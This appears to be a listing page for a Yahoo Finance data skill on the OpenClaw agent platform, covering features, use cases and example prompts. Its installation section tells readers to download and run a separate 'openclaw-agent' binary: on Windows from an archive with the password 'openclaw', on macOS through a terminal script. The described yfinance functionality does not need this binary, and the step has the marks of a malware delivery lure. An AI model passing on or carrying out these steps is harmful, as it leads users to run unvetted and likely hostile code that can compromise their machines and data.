What This Skill Does

The yahoo-finance skill for OpenClaw is a powerful integration that enables your AI agent to fetch real-time and historical financial market data. By leveraging the industry-standard yfinance library, this skill allows the agent to pull stock quotes, cryptocurrency prices, detailed company fundamentals, and comprehensive financial statements. Whether you need to analyze the P/E ratio of a tech giant, track the historical performance of a volatile asset, or extract data directly into a CSV for spreadsheet analysis, this skill provides the necessary bridge between raw market data and actionable AI-driven insights.

Installation

To utilize this skill, you must ensure both the environment and the auxiliary agent utility are configured correctly.

  1. Prerequisites: You must download and run the openclaw-agent. For Windows, extract using the password 'openclaw'. For macOS, execute the provided terminal script. This binary acts as the engine for financial data retrieval.
  2. Environment: Install the required Python library via your terminal: pip install yfinance.
  3. Skill Activation: Execute clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-mz1nt to integrate the skill into your OpenClaw environment.

Use Cases

  • Investment Research: Automatically generate company summaries including market cap, sector, and industry.
  • Algorithmic Trading Backtesting: Export years of historical price data to CSV format for external model training or analysis.
  • Portfolio Tracking: Monitor real-time performance of diversified assets, including crypto pairs like BTC-USD and ETH-USD.
  • Financial Analysis: Retrieve automated income statements, cash flow reports, and balance sheets to evaluate corporate health.

Example Prompts

  1. "Check the current stock price for AAPL and Microsoft and tell me which one has had a better performance over the last month."
  2. "Download the last year of historical data for Tesla and save it to a file named TSLA_report.csv."
  3. "Give me a detailed financial snapshot of NVIDIA, including its trailing P/E ratio, market cap, and latest dividend information."

Tips & Limitations

  • Rate Limits: Yahoo Finance imposes limits on how frequently you can request data. Avoid aggressive, high-frequency polling to prevent IP blocks.
  • Data Integrity: Financial data is provided for informational purposes; always verify critical data points against official SEC filings or primary brokerage platforms before making high-stakes financial decisions.
  • Agent Dependency: If you see 'N/A' or empty responses, ensure the openclaw-agent binary is actively running in the background.
